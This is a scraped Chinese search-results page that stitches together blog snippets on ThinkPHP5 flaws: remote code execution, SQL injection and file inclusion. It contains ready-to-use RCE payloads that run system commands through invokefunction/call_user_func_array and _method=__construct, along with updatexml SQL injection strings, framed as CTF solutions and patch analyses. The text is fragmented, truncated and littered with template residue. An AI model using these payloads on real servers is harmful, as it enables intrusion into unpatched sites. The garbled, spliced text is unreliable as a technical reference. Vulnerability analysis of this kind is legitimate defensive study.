精华内容
下载资源
问答
  • ThinkPHP V5 漏洞利用

    2020-10-14 20:55:00
    ThinkPHP 5漏洞简介 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的...

    ThinkPHP 5漏洞简介

    ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

    漏洞分析

    程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法。

    漏洞利用
    构造payload:

    ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system(“ls”);%27
    在这里插入图片描述寻找flag:

    ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system(“find / -name ‘flag’”);%27
    在这里插入图片描述
    查看flag:

    ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system(“cat …/…/…/flag”);%27
    在这里插入图片描述

    展开全文
  • thinkphp5漏洞验证

    2019-04-16 11:25:27
    thinkphp漏洞验证文档,此文档仅用于漏洞验证等白帽子行为,请勿用于网络攻击等非白帽子行为
  • thinkphp5漏洞几道例题

    2020-11-14 11:43:17
    漏洞 具体看这里 ThinkPHP5.0.23(远程命令执行) 例题[BJDCTF 2nd]old-hack index.php?s=1查看版本 POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls / POST:_method=__construct&...

    漏洞 具体看这里

    ThinkPHP5.0.23(远程命令执行)

    例题[BJDCTF 2nd]old-hack

    index.php?s=1查看版本

    在这里插入图片描述

    POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
    

    在这里插入图片描述

    POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
    

    在这里插入图片描述

    ThinkPHP V5.0.20(远程代码执行)

    例题攻防世界php_rce

    index.php?s=1查看版本

    在这里插入图片描述

    /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"
    

    在这里插入图片描述

    然后在 找打开flag就可以了

    /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
    

    在这里插入图片描述

    展开全文
  • 原标题:代码审计 | ThinkPHP5漏洞分析之SQL注入(六)ThinkPHPThinkPHP 漏洞分析,也将更新于 ThinkPHP-Vuln(https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 ThinkPHPSQL注入漏洞 (所有 Mysql ...

    原标题:代码审计 | ThinkPHP5漏洞分析之SQL注入(六)

    ThinkPHPThinkPHP 漏洞分析,也将更新于 ThinkPHP-Vuln(https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 ThinkPHPSQL注入漏洞 (所有 Mysql 聚合函数相关方法均存在注入)。

    本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本:5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

    不同版本 payload 需稍作调整:

    5.0.0~5.0.21 、 5.1.3~5.1.10 :id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

    5.1.11~5.1.25 :id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23¨K5K通过以下命令获取测试环境代码:¨G0G将composer.json文件的require字段设置成如下:¨G1G然后执行composer update,并将application/index/controller/Index.php文件代码设置如下:¨G2G在config/database.php文件中配置数据库相关信息,并开启config/app.php中的app_debug和app_trace。创建数据库信息如下:¨G3G访问http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23SQL注入漏洞 。(没开启 app_debugSQL

    d291be292d71d56266bd7858d7c5b91f.png

    5.1.26 版本更新说明中,发现其中提到该版本包含了一个安全更新。

    0917ebe2a960760c9bf0a525676c08d7.png

    我们可以查阅其 commit 记录,发现其改进了数据库驱动,代码中多了检测特殊字符的片段。接下来我们直接来分析代码。

    0f913bbc6dc25a51449e19641fc79086.png

    首先,用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法。本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL注入 问题。我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field ,经过 parseKey 方法处理后,与 SQL 语句进行了拼接。下面我们就来具体看看 parseKey 方法。

    ce9cc7d664e445681ab1c50be6ef9c5e.png

    parseKey方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。经过parseKey方法处理后,程序又回到了上图的$this->value()方法中,该方法会调用Builder类的select方法来构造SQL语句。这个方法应该说是在分析ThinkPHP漏洞时,非常常见的了。其无非就是使用str_replace方法,将变量替换到SQL语句模板中。这里,我们重点关注parseField方法,因为用户可控数据存储在$options['field']变量中并被传入该方法。

    f394e82c14eee4e7b000454112849113.png

    进入 parseField 方法,我们发现用户可控数据只是经过 parseKey 方法处理,并不影响数据,然后直接用逗号拼接,最终直接替换进 SQL 语句模板里,导致 SQL注入漏洞 的发生

    7661f978395a8fdbf67d968f52106a14.png

    官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

    4686387be50f7f0a445197ba4cc44b4a.png

    责任编辑:

    展开全文
  • 本系列文章将针对 ThinkPHP 的历史漏洞进行分析,今后爆出的所有 ThinkPHP 漏洞分析,也将更新于 ThinkPHP-Vuln 项目上。本篇文章,将分析 ThinkPHP 中存在的 文件包含 漏洞漏洞概要本次漏洞存在于 ThinkPHP 模板...

    本系列文章将针对 ThinkPHP 的历史漏洞进行分析,今后爆出的所有 ThinkPHP 漏洞分析,也将更新于 ThinkPHP-Vuln 项目上。本篇文章,将分析 ThinkPHP 中存在的 文件包含 漏洞。

    漏洞概要

    本次漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致 文件包含漏洞 的产生。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。

    漏洞环境

    通过以下命令获取测试环境代码:composer create-project --prefer-dist topthink/think=5.0.18 tpdemo

    将 composer.json 文件的 require 字段设置成如下:"require": {

    "php": ">=5.6.0",

    "topthink/framework": "5.0.18"

    },

    然后执行 composer update ,并将 application/index/controller/Index.php 文件代码设置如下:<?php

    namespace app\index\controller;

    use think\Controller;

    class Index extends Controller

    {

    public function index()

    {

    $this->assign(request()->get());

    return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html

    }

    }

    创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞 。

    18dd9ec44f81933e27451aa96f285a70.png

    漏洞分析

    首先在官方发布的 5.0.19 版本更新说明中,发现其中提到该版本包含了一个安全更新。

    b18b762a2cd5598fc777a63fcc7c8bd9.png我们可以查阅其 commit 记录,发现其改进了模板引擎,其中存在危险函数 extract ,有可能引发变量覆盖漏洞。接下来,我们直接跟进代码一探究竟。

    7c2a0bcaa0de3d3d3058e7bdfab68ce2.png首先,用户可控数据未经过滤,直接通过 Controller 类的 assign 方法进行模板变量赋值,并将可控数据存在 think\View 类的 data 属性中。

    80626c25b257b1469f88ea322a320726.png接着,程序开始调用 fetch 方法加载模板输出。这里如果我们没有指定模板名称,其会使用默认的文件作为模板,模板路径类似 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html ,如果默认路径模板不存在,程序就会报错。

    f5f569407e9e16e6aefe73db0f165429.png我们跟进到 Template 类的 fetch 方法,可以发现可控变量 $vars 赋值给 $this->data 并最终传入 File 类的 read 方法。而 read 方法中在使用了 extract 函数后,直接包含了 $cacheFile 变量。这里就是漏洞发生的关键原因(可以通过 extract 函数,直接覆盖 $cacheFile 变量,因为 extract 函数中的参数 $vars 可以由用户控制)。

    0a91c5929e9bc1859d5cb1a7bb6956c8.png

    漏洞修复

    官方的修复方法是:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。

    b95878454215b333f4c0d8800ab783fd.png

    攻击总结

    最后,再通过一张攻击流程图来回顾整个攻击过程。

    ad6af9dd2ecc896d51fa52fd06a798e2.png

    展开全文
  • 12月10日ThinkPHP团队发布了版本更新,修复了一处远程命令执行漏洞,该漏洞是由于ThinkPHP框架对控制器没有进行严格的安全过滤,致使攻击者可以伪造恶意参数进行代码执行。12月11日阿里云即发布威胁预警,表示捕获到...
  • 12月10日ThinkPHP团队发布了版本更新,修复了一处远程命令执行漏洞,该漏洞是由于ThinkPHP框架对控制器没有进行严格的安全过滤,致使攻击者可以伪造恶意参数进行代码执行。12月11日阿里云即发布威胁预警,表示捕获到...
  • 本次漏洞存在于Builder类的parseData方法中。由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生。漏洞影响版本:5.0.13<=ThinkPHP<=5.0.15、5.1.0<=ThinkPHP<=5.1.5。 ...
  • ThinkPHP5 5.0.22 5.1.29 RCE: http://note.youdao.com/noteshare?id=c8f01a93856f614a19aa906b98c73e82&sub=C7F1CA77B84C481CB0747B92FC4C997E ThinkPHP5 5.0.23 RCE: ...sub=8C55F64E39D7.
  • =ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30 未开启强制路由导致RCE 搭建 ThinkPHP 5.1框架结合RCE漏洞的深入分析 thinkphp-5.1.29 tp版本:5.1.29 php版本:7.2.10(必须7以上) 测试: ...
  • ThinkPHP 5漏洞简介 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的...
  • thinkphp5漏洞

    2021-01-15 16:41:42
    payload: s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name “*flag” 先查找关于flag在哪 s=index/think\App/invokeFunction&...
  • thinkphp5 RCE漏洞复现

    2021-03-03 08:57:10
    先看一下RCE,毕竟thinkphp最广为人知的漏洞就是RCE。 首先是源码的下载,我从这里下载: thinkphp下载 这里我下载的是thinkphp5.0.22完整版,如果下载核心版的话可能会有一些代码的缺失。 debug模式开启下的RCE 和...
  • ThinkPHP5RCE漏洞复现

    2021-06-10 16:56:15
    ThinkPHP RCE漏洞是由于变量覆盖而引起的,漏洞源于可以对thinkphp/library/think/Request.php文件中的method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致RCE,其攻击点较为多,有些还具有限制条件,另外...
  • Thinkphp5 文件包含漏洞

    2021-03-09 15:38:22
    前言 本次漏洞存在于 ThinkPHP 模板引擎中,在...=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。 创建: composer create-project topthink/think=5.0.18 thinkphp5.0.18 "require": { "php": ">=5.
  • Thinkphp漏洞

    2021-02-06 23:26:09
    ➢ Thinkphp介绍 ...windows/Unix/Linux等服务器环境。 ➢ Thinkphp应用 很多cms就是基于thinkphp二次开发的,所以thinkphp出...ThinkPHP5_SQL注入漏洞&&敏感信息泄露 ThinkPHP3.2.3_最新版update注入漏洞 Thin
  • ThinkPHP5 5.0.23远程执行代码漏洞 by ADummy 0x00利用路线 ​ burpuite抓包—>修改payload—>重放包—>代码执行—>有回显 0x01漏洞介绍 ​ ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本...
  • ThinkPHP5.0 漏洞测试

    千次阅读 2020-02-10 11:27:50
    ThinkPHP5.0 漏洞测试 自从ThinkPHP发布漏洞补丁以来,服务器不知道多少次受到了批量扫描漏洞来抓取肉鸡的请求 虽然官方早已发布补丁,还是想试一下TP漏洞,测试两个漏洞 一、全版本执行漏洞 <!-- GET --> ...
  • #Thinkphp5.x漏洞

    2021-01-20 18:22:09
    #Thinkphp5.x漏洞 系统类型:linux 漏洞类型:Thinkphp5.x漏洞 漏洞URL:http://192.168.1.246/public/ 漏洞详情: 已知真实IP是192.168.1.246,扫后台 然后扫这两个网页是否存在漏洞 上传一句话木马到靶机 代码: ...
  • ThinkPHP框架漏洞

    千次阅读 2020-04-08 13:06:24
    ThinkPHP ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名为FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,...
  • 但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响...
  • 序言最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行漏洞分析:文件位置:\thinkphp\library\think\Request.php其中:$this->method = strtoupper($_POST[$this->...
  • ThinkPHP5远程命令执行漏洞

    千次阅读 2019-01-02 10:24:40
    0x01 ThinkPHP简介 ...从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,注重开发体验和易用性,为web应用开发提供了强有力的支持。...由于ThinkPHP5框架对控制器名没有进行足够的安...
  • ThinkPHP5官方文档

    2017-06-30 22:27:13
    ThinkPHP5官方文档

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,617
精华内容 3,446
关键字:

thinkphp5漏洞